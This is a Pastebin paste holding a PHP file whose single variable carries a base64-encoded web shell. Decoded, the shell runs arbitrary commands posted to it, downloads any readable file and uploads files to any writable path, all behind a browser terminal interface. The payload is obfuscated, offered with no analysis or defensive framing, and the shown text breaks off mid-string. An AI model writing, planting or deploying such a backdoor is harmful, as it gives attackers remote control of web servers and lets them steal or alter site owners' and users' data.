mathio3

tt

Jul 1st, 2019 (edited)
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.63 KB | None | 0 0
  1. <?php
  2. $tt = " CgkKZnVuY3Rpb24gZmVhdHVyZVNoZWxsKCRjbWQsICRjd2QpIHsKICAgICRzdGRvdXQgPSBhcnJheSgpOwogICAgaWYgKHByZWdfbWF0Y2goIi9eXHMqY2RccyokLyIsICRjbWQpKSB7CiAgICB9IGVsc2VpZiAocHJlZ19tYXRjaCgiL15ccypjZFxzKyguKylccyooMj4mMSk/JC8iLCAkY21kKSkgewogICAgICAgIGNoZGlyKCRjd2QpOwogICAgICAgIHByZWdfbWF0Y2goIi9eXHMqY2RccysoW15cc10rKVxzKigyPiYxKT8kLyIsICRjbWQsICRtYXRjaCk7CiAgICAgICAgY2hkaXIoJG1hdGNoWzFdKTsKICAgIH0gZWxzZWlmIChwcmVnX21hdGNoKCIvXlxzKmRvd25sb2FkXHMrW15cc10rXHMqKDI+JjEpPyQvIiwgJGNtZCkpIHsKICAgICAgICBjaGRpcigkY3dkKTsKICAgICAgICBwcmVnX21hdGNoKCIvXlxzKmRvd25sb2FkXHMrKFteXHNdKylccyooMj4mMSk/JC8iLCAkY21kLCAkbWF0Y2gpOwogICAgICAgIHJldHVybiBmZWF0dXJlRG93bmxvYWQoJG1hdGNoWzFdKTsKICAgIH0gZWxzZSB7CiAgICAgICAgY2hkaXIoJGN3ZCk7CiAgICAgICAgZXhlYygkY21kLCAkc3Rkb3V0KTsKICAgIH0KICAgIHJldHVybiBhcnJheSgKICAgICAgICAic3Rkb3V0IiA9PiAkc3Rkb3V0LAogICAgICAgICJjd2QiID0+IGdldGN3ZCgpCiAgICApOwp9CmZ1bmN0aW9uIGZlYXR1cmVQd2QoKSB7CiAgICByZXR1cm4gYXJyYXkoImN3ZCIgPT4gZ2V0Y3dkKCkpOwp9CmZ1bmN0aW9uIGZlYXR1cmVIaW50KCRmaWxlTmFtZSwgJGN3ZCwgJHR5cGUpIHsKICAgIGNoZGlyKCRjd2QpOwogICAgaWYgKCR0eXBlID09ICdjbWQnKSB7CiAgICAgICAgJGNtZCA9ICJjb21wZ2VuIC1jICRmaWxlTmFtZSI7CiAgICB9IGVsc2UgewogICAgICAgICRjbWQgPSAiY29tcGdlbiAtZiAkZmlsZU5hbWUiOwogICAgfQogICAgJGNtZCA9ICIvYmluL2Jhc2ggLWMgXCIkY21kXCIiOwogICAgJGZpbGVzID0gZXhwbG9kZSgiXG4iLCBzaGVsbF9leGVjKCRjbWQpKTsKICAgIHJldHVybiBhcnJheSgKICAgICAgICAnZmlsZXMnID0+ICRmaWxlcywKICAgICk7Cn0KZnVuY3Rpb24gZmVhdHVyZURvd25sb2FkKCRmaWxlUGF0aCkgewogICAgJGZpbGUgPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGVQYXRoKTsKICAgIGlmICgkZmlsZSA9PT0gRkFMU0UpIHsKICAgICAgICByZXR1cm4gYXJyYXkoCiAgICAgICAgICAgICdzdGRvdXQnID0+IGFycmF5KCdGaWxlIG5vdCBmb3VuZCAvIG5vIHJlYWQgcGVybWlzc2lvbi4nKSwKICAgICAgICAgICAgJ2N3ZCcgPT4gZ2V0Y3dkKCkKICAgICAgICApOwogICAgfSBlbHNlIHsKICAgICAgICByZXR1cm4gYXJyYXkoCiAgICAgICAgICAgICduYW1lJyA9PiBiYXNlbmFtZSgkZmlsZVBhdGgpLAogICAgICAgICAgICAnZmlsZScgPT4gYmFzZTY0X2VuY29kZSgkZmlsZSkKICAgICAgICApOwogICAgfQp9CmZ1bmN0aW9uIGZlYXR1cmVVcGxvYWQoJHBhdGgsICRmaWxlLCAkY3dkKSB7CiAgICBjaGRpcigkY3dkKTsKICAgICRmID0gQGZvcGVuKCRwYXRoLCAnd2InKTsKICAgIGlmICgkZiA9PT0gRkFMU0UpIHsKICAgICAgICByZXR1cm4gYXJyYXkoCiAgICAgICAgICAgICdzdGRvdXQnID0+IGFycmF5KCdJbnZhbGlkIHBhdGggLyBubyB3cml0ZSBwZXJtaXNzaW9uLicpLAogICAgICAgICAgICAnY3dkJyA9PiBnZXRjd2QoKQogICAgICAgICk7CiAgICB9IGVsc2UgewogICAgICAgIGZ3cml0ZSgkZiwgYmFzZTY0X2RlY29kZSgkZmlsZSkpOwogICAgICAgIGZjbG9zZSgkZik7CiAgICAgICAgcmV0dXJuIGFycmF5KAogICAgICAgICAgICAnc3Rkb3V0JyA9PiBhcnJheSgnRG9uZS4nKSwKICAgICAgICAgICAgJ2N3ZCcgPT4gZ2V0Y3dkKCkKICAgICAgICApOwogICAgfQp9CmlmIChpc3NldCgkX0dFVFsiZmVhdHVyZSJdKSkgewogICAgJHJlc3BvbnNlID0gTlVMTDsKICAgIHN3aXRjaCAoJF9HRVRbImZlYXR1cmUiXSkgewogICAgICAgIGNhc2UgInNoZWxsIjoKICAgICAgICAgICAgJGNtZCA9ICRfUE9TVFsnY21kJ107CiAgICAgICAgICAgIGlmICghcHJlZ19tYXRjaCgnLzI+LycsICRjbWQpKSB7CiAgICAgICAgICAgICAgICAkY21kIC49ICcgMj4mMSc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHJlc3BvbnNlID0gZmVhdHVyZVNoZWxsKCRjbWQsICRfUE9TVFsiY3dkIl0pOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICJwd2QiOgogICAgICAgICAgICAkcmVzcG9uc2UgPSBmZWF0dXJlUHdkKCk7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgImhpbnQiOgogICAgICAgICAgICAkcmVzcG9uc2UgPSBmZWF0dXJlSGludCgkX1BPU1RbJ2ZpbGVuYW1lJ10sICRfUE9TVFsnY3dkJ10sICRfUE9TVFsndHlwZSddKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAndXBsb2FkJzoKICAgICAgICAgICAgJHJlc3BvbnNlID0gZmVhdHVyZVVwbG9hZCgkX1BPU1RbJ3BhdGgnXSwgJF9QT1NUWydmaWxlJ10sICRfUE9TVFsnY3dkJ10pOwogICAgfQogICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24iKTsKICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTsKICAgIGRpZSgpOwp9Cj8+PCFET0NUWVBFIGh0bWw+CjxodG1sPgogICAgPGhlYWQ+CiAgICAgICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiIC8+CiAgICAgICAgPHRpdGxlPiYjeDIwOzwvdGl0bGU+CiAgICAgICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiIC8+CiAgICAgICAgPHN0eWxlPgogICAgICAgICAgICBodG1sLCBib2R5IHsKICAgICAgICAgICAgICAgIG1hcmdpbjogMDsKICAgICAgICAgICAgICAgIHBhZGRpbmc6IDA7CiAgICAgICAgICAgICAgICBjb2xvcjogI2VlZTsKICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgI3NoZWxsIHsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMyMjI7CiAgICAgICAgICAgICAgICBtYXgtd2lkdGg6IDEzMDBweDsKICAgICAgICAgICAgICAgIG1hcmdpbjogNTBweCBhdXRvIDAgYXV0bzsKICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMCA1cHggcmdiYSgwLCAwLCAwLCAuMyk7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEwcHQ7CiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsKICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBzdHJldGNoOwogICAgICAgICAgICB9CiAgICAgICAgICAgICNzaGVsbC1jb250ZW50IHsKICAgICAgICAgICAgICAgIGhlaWdodDogNTAwcHg7CiAgICAgICAgICAgICAgICBvdmVyZmxvdzogYXV0bzsKICAgICAgICAgICAgICAgIHBhZGRpbmc6IDVweDsKICAgICAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBwcmUtd3JhcDsKICAgICAgICAgICAgICAgIGZsZXgtZ3JvdzogMTsKICAgICAgICAgICAgfQogICAgICAgICAgICAjc2hlbGwtbG9nbyB7CiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsKICAgICAgICAgICAgICAgIGNvbG9yOiAjMmU2ZTljOwogICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICB9CgogICAgICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogOTkxcHgpIHsKICAgICAgICAgICAgICAgICNzaGVsbC1sb2dvIHsKICAgICAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGh0bWwsIGJvZHksICNzaGVsbCB7CiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlOwogICAgICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICAgICAgICAgIG1heC13aWR0aDogbm9uZTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAjc2hlbGwgewogICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6IDA7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiA3NjdweCkgewogICAgICAgICAgICAgICAgI3NoZWxsLWlucHV0IHsKICAgICAgICAgICAgICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAuc2hlbGwtcHJvbXB0IHsKICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOwogICAgICAgICAgICAgICAgY29sb3I6ICM3NURGMEI7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5zaGVsbC1wcm9tcHQgPiBzcGFuIHsKICAgICAgICAgICAgICAgIGNvbG9yOiAjMUJDOUU3OwogICAgICAgICAgICB9CgogICAgICAgICAgICAjc2hlbGwtaW5wdXQgewogICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgLTFweCAwIHJnYmEoMCwgMCwgMCwgLjMpOwogICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogcmdiYSgyNTUsIDI1NSwgMjU1LCAuMDUpIHNvbGlkIDFweDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgI3NoZWxsLWlucHV0ID4gbGFiZWwgewogICAgICAgICAgICAgICAgZmxleC1ncm93OiAwOwogICAgICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwIDVweDsKICAgICAgICAgICAgICAgIGhlaWdodDogMzBweDsKICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAzMHB4OwogICAgICAgICAgICB9CgogICAgICAgICAgICAjc2hlbGwtaW5wdXQgI3NoZWxsLWNtZCB7CiAgICAgICAgICAgICAgICBoZWlnaHQ6IDMwcHg7CiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogMzBweDsKICAgICAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OwogICAgICAgICAgICAgICAgY29sb3I6ICNlZWU7CiAgICAgICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOwogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxMHB0OwogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgICAgICBhbGlnbi1zZWxmOiBjZW50ZXI7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNzaGVsbC1pbnB1dCBkaXYgewogICAgICAgICAgICAgICAgZmxleC1ncm93OiAxOwogICAgICAgICAgICAgICAgYWxpZ24taXRlbXM6IHN0cmV0Y2g7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNzaGVsbC1pbnB1dCBpbnB1dCB7CiAgICAgICAgICAgICAgICBvdXRsaW5lOiBub25lOwogICAgICAgICAgICB9CiAgICAgICAgPC9zdHlsZT4KCiAgICAgICAgPHNjcmlwdD4KICAgICAgICAgICAgdmFyIENXRCA9IG51bGw7CiAgICAgICAgICAgIHZhciBjb21tYW5kSGlzdG9yeSA9IFtdOwogICAgICAgICAgICB2YXIgaGlzdG9yeVBvc2l0aW9uID0gMDsKICAgICAgICAgICAgdmFyIGVTaGVsbENtZElucHV0ID0gbnVsbDsKICAgICAgICAgICAgdmFyIGVTaGVsbENvbnRlbnQgPSBudWxsOwoKICAgICAgICAgICAgZnVuY3Rpb24gX2luc2VydENvbW1hbmQoY29tbWFuZCkgewogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudC5pbm5lckhUTUwgKz0gIlxuXG4iOwogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudC5pbm5lckhUTUwgKz0gJzxzcGFuIGNsYXNzPVwic2hlbGwtcHJvbXB0XCI+JyArIGdlblByb21wdChDV0QpICsgJzwvc3Bhbj4gJzsKICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MICs9IGVzY2FwZUh0bWwoY29tbWFuZCk7CiAgICAgICAgICAgICAgICBlU2hlbGxDb250ZW50LmlubmVySFRNTCArPSAiXG4iOwogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudC5zY3JvbGxUb3AgPSBlU2hlbGxDb250ZW50LnNjcm9sbEhlaWdodDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gX2luc2VydFN0ZG91dChzdGRvdXQpIHsKICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MICs9IGVzY2FwZUh0bWwoc3Rkb3V0KTsKICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuc2Nyb2xsVG9wID0gZVNoZWxsQ29udGVudC5zY3JvbGxIZWlnaHQ7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIGZlYXR1cmVTaGVsbChjb21tYW5kKSB7CgogICAgICAgICAgICAgICAgX2luc2VydENvbW1hbmQoY29tbWFuZCk7CiAgICAgICAgICAgICAgICBpZiAoL15ccyp1cGxvYWRccytbXlxzXStccyokLy50ZXN0KGNvbW1hbmQpKSB7CiAgICAgICAgICAgICAgICAgICAgZmVhdHVyZVVwbG9hZChjb21tYW5kLm1hdGNoKC9eXHMqdXBsb2FkXHMrKFteXHNdKylccyokLylbMV0pOwogICAgICAgICAgICAgICAgfSBlbHNlIGlmICgvXlxzKmNsZWFyXHMqJC8udGVzdChjb21tYW5kKSkgewogICAgICAgICAgICAgICAgICAgIC8vIEJhY2tlbmQgc2hlbGwgVEVSTSBlbnZpcm9ubWVudCB2YXJpYWJsZSBub3Qgc2V0LiBDbGVhciBjb21tYW5kIGhpc3RvcnkgZnJvbSBVSSBidXQga2VlcCBpbiBidWZmZXIKICAgICAgICAgICAgICAgICAgICBlU2hlbGxDb250ZW50LmlubmVySFRNTCA9ICcnOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBtYWtlUmVxdWVzdCgiP2ZlYXR1cmU9c2hlbGwiLCB7Y21kOiBjb21tYW5kLCBjd2Q6IENXRH0sIGZ1bmN0aW9uIChyZXNwb25zZSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAocmVzcG9uc2UuaGFzT3duUHJvcGVydHkoJ2ZpbGUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZmVhdHVyZURvd25sb2FkKHJlc3BvbnNlLm5hbWUsIHJlc3BvbnNlLmZpbGUpCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBfaW5zZXJ0U3Rkb3V0KHJlc3BvbnNlLnN0ZG91dC5qb2luKCJcbiIpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVwZGF0ZUN3ZChyZXNwb25zZS5jd2QpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZnVuY3Rpb24gZmVhdHVyZUhpbnQoKSB7CiAgICAgICAgICAgICAgICBpZiAoZVNoZWxsQ21kSW5wdXQudmFsdWUudHJpbSgpLmxlbmd0aCA9PT0gMCkgcmV0dXJuOyAgLy8gZmllbGQgaXMgZW1wdHkgLT4gbm90aGluZyB0byBjb21wbGV0ZQoKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIF9yZXF1ZXN0Q2FsbGJhY2soZGF0YSkgewogICAgICAgICAgICAgICAgICAgIGlmIChkYXRhLmZpbGVzLmxlbmd0aCA8PSAxKSByZXR1cm47ICAvLyBubyBjb21wbGV0aW9uCgogICAgICAgICAgICAgICAgICAgIGlmIChkYXRhLmZpbGVzLmxlbmd0aCA9PT0gMikgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAodHlwZSA9PT0gJ2NtZCcpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gZGF0YS5maWxlc1swXTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciBjdXJyZW50VmFsdWUgPSBlU2hlbGxDbWRJbnB1dC52YWx1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gY3VycmVudFZhbHVlLnJlcGxhY2UoLyhbXlxzXSopJC8sIGRhdGEuZmlsZXNbMF0pOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgX2luc2VydENvbW1hbmQoZVNoZWxsQ21kSW5wdXQudmFsdWUpOwogICAgICAgICAgICAgICAgICAgICAgICBfaW5zZXJ0U3Rkb3V0KGRhdGEuZmlsZXMuam9pbigiXG4iKSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgdmFyIGN1cnJlbnRDbWQgPSBlU2hlbGxDbWRJbnB1dC52YWx1ZS5zcGxpdCgiICIpOwogICAgICAgICAgICAgICAgdmFyIHR5cGUgPSAoY3VycmVudENtZC5sZW5ndGggPT09IDEpID8gImNtZCIgOiAiZmlsZSI7CiAgICAgICAgICAgICAgICB2YXIgZmlsZU5hbWUgPSAodHlwZSA9PT0gImNtZCIpID8gY3VycmVudENtZFswXSA6IGN1cnJlbnRDbWRbY3VycmVudENtZC5sZW5ndGggLSAxXTsKCiAgICAgICAgICAgICAgICBtYWtlUmVxdWVzdCgKICAgICAgICAgICAgICAgICAgICAiP2ZlYXR1cmU9aGludCIsCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBmaWxlbmFtZTogZmlsZU5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgIGN3ZDogQ1dELAogICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiB0eXBlCiAgICAgICAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgICAgICAgICBfcmVxdWVzdENhbGxiYWNrCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGZlYXR1cmVEb3dubG9hZChuYW1lLCBmaWxlKSB7CiAgICAgICAgICAgICAgICB2YXIgZWxlbWVudCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsKICAgICAgICAgICAgICAgIGVsZW1lbnQuc2V0QXR0cmlidXRlKCdocmVmJywgJ2RhdGE6YXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtO2Jhc2U2NCwnICsgZmlsZSk7CiAgICAgICAgICAgICAgICBlbGVtZW50LnNldEF0dHJpYnV0ZSgnZG93bmxvYWQnLCBuYW1lKTsKICAgICAgICAgICAgICAgIGVsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKICAgICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZWxlbWVudCk7CiAgICAgICAgICAgICAgICBlbGVtZW50LmNsaWNrKCk7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGVsZW1lbnQpOwogICAgICAgICAgICAgICAgX2luc2VydFN0ZG91dCgnRG9uZS4nKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gZmVhdHVyZVVwbG9hZChwYXRoKSB7CiAgICAgICAgICAgICAgICB2YXIgZWxlbWVudCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lucHV0Jyk7CiAgICAgICAgICAgICAgICBlbGVtZW50LnNldEF0dHJpYnV0ZSgndHlwZScsICdmaWxlJyk7CiAgICAgICAgICAgICAgICBlbGVtZW50LnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGVsZW1lbnQpOwogICAgICAgICAgICAgICAgZWxlbWVudC5hZGRFdmVudExpc3RlbmVyKCdjaGFuZ2UnLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgICAgICAgICAgdmFyIHByb21pc2UgPSBnZXRCYXNlNjQoZWxlbWVudC5maWxlc1swXSk7CiAgICAgICAgICAgICAgICAgICAgcHJvbWlzZS50aGVuKGZ1bmN0aW9uIChmaWxlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG1ha2VSZXF1ZXN0KCc/ZmVhdHVyZT11cGxvYWQnLCB7cGF0aDogcGF0aCwgZmlsZTogZmlsZSwgY3dkOiBDV0R9LCBmdW5jdGlvbiAocmVzcG9uc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9pbnNlcnRTdGRvdXQocmVzcG9uc2Uuc3Rkb3V0LmpvaW4oIlxuIikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdXBkYXRlQ3dkKHJlc3BvbnNlLmN3ZCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgICAgIH0sIGZ1bmN0aW9uICgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgX2luc2VydFN0ZG91dCgnQW4gdW5rbm93biBjbGllbnQtc2lkZSBlcnJvciBvY2N1cnJlZC4nKTsKICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgZWxlbWVudC5jbGljaygpOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZChlbGVtZW50KTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gZ2V0QmFzZTY0KGZpbGUsIG9uTG9hZENhbGxiYWNrKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFByb21pc2UoZnVuY3Rpb24ocmVzb2x2ZSwgcmVqZWN0KSB7CiAgICAgICAgICAgICAgICAgICAgdmFyIHJlYWRlciA9IG5ldyBGaWxlUmVhZGVyKCk7CiAgICAgICAgICAgICAgICAgICAgcmVhZGVyLm9ubG9hZCA9IGZ1bmN0aW9uKCkgeyByZXNvbHZlKHJlYWRlci5yZXN1bHQubWF0Y2goL2Jhc2U2NCwoLiopJC8pWzFdKTsgfTsKICAgICAgICAgICAgICAgICAgICByZWFkZXIub25lcnJvciA9IHJlamVjdDsKICAgICAgICAgICAgICAgICAgICByZWFkZXIucmVhZEFzRGF0YVVSTChmaWxlKTsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBnZW5Qcm9tcHQoY3dkKSB7CiAgICAgICAgICAgICAgICBjd2QgPSBjd2QgfHwgIn4iOwogICAgICAgICAgICAgICAgdmFyIHNob3J0Q3dkID0gY3dkOwogICAgICAgICAgICAgICAgaWYgKGN3ZC5zcGxpdCgiLyIpLmxlbmd0aCA+IDMpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgc3BsaXR0ZWRDd2QgPSBjd2Quc3BsaXQoIi8iKTsKICAgICAgICAgICAgICAgICAgICBzaG9ydEN3ZCA9ICLigKYvIiArIHNwbGl0dGVkQ3dkW3NwbGl0dGVkQ3dkLmxlbmd0aC0yXSArICIvIiArIHNwbGl0dGVkQ3dkW3NwbGl0dGVkQ3dkLmxlbmd0aC0xXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiAiJiN4NkQ7JiN4NjE7JiN4NzQ7JiN4Njg7JiN4Njk7JiN4NkY7QDw/IGVjaG8gJHNlcnZlcklQID0gZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOz8+Cjo8c3BhbiB0aXRsZT1cIiIgKyBjd2QgKyAiXCI+IiArIGN3ZCArICI8L3NwYW4+IyI7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIHVwZGF0ZUN3ZChjd2QpIHsKICAgICAgICAgICAgICAgIGlmIChjd2QpIHsKICAgICAgICAgICAgICAgICAgICBDV0QgPSBjd2Q7CiAgICAgICAgICAgICAgICAgICAgX3VwZGF0ZVByb21wdCgpOwogICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIG1ha2VSZXF1ZXN0KCI/ZmVhdHVyZT1wd2QiLCB7fSwgZnVuY3Rpb24ocmVzcG9uc2UpIHsKICAgICAgICAgICAgICAgICAgICBDV0QgPSByZXNwb25zZS5jd2Q7CiAgICAgICAgICAgICAgICAgICAgX3VwZGF0ZVByb21wdCgpOwogICAgICAgICAgICAgICAgfSk7CgogICAgICAgICAgICB9CiAgICAgICAgICAgIGZ1bmN0aW9uIGVzY2FwZUh0bWwoc3RyaW5nKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gc3RyaW5nCiAgICAgICAgICAgICAgICAgICAgLnJlcGxhY2UoLyYvZywgIiZhbXA7IikKICAgICAgICAgICAgICAgICAgICAucmVwbGFjZSgvPC9nLCAiJmx0OyIpCiAgICAgICAgICAgICAgICAgICAgLnJlcGxhY2UoLz4vZywgIiZndDsiKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gX3VwZGF0ZVByb21wdCgpIHsKICAgICAgICAgICAgICAgIHZhciBlU2hlbGxQcm9tcHQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2hlbGwtcHJvbXB0Iik7CiAgICAgICAgICAgICAgICBlU2hlbGxQcm9tcHQuaW5uZXJIVE1MID0gZ2VuUHJvbXB0KENXRCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIF9vblNoZWxsQ21kS2V5RG93bihldmVudCkgewogICAgICAgICAgICAgICAgc3dpdGNoIChldmVudC5rZXkpIHsKICAgICAgICAgICAgICAgICAgICBjYXNlICJFbnRlciI6CiAgICAgICAgICAgICAgICAgICAgICAgIGZlYXR1cmVTaGVsbChlU2hlbGxDbWRJbnB1dC52YWx1ZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGluc2VydFRvSGlzdG9yeShlU2hlbGxDbWRJbnB1dC52YWx1ZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgIkFycm93VXAiOgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaGlzdG9yeVBvc2l0aW9uID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaGlzdG9yeVBvc2l0aW9uLS07CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC5ibHVyKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQudmFsdWUgPSBjb21tYW5kSGlzdG9yeVtoaXN0b3J5UG9zaXRpb25dOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgIkFycm93RG93biI6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChoaXN0b3J5UG9zaXRpb24gPj0gY29tbWFuZEhpc3RvcnkubGVuZ3RoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBoaXN0b3J5UG9zaXRpb24rKzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGhpc3RvcnlQb3NpdGlvbiA9PT0gY29tbWFuZEhpc3RvcnkubGVuZ3RoKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugewo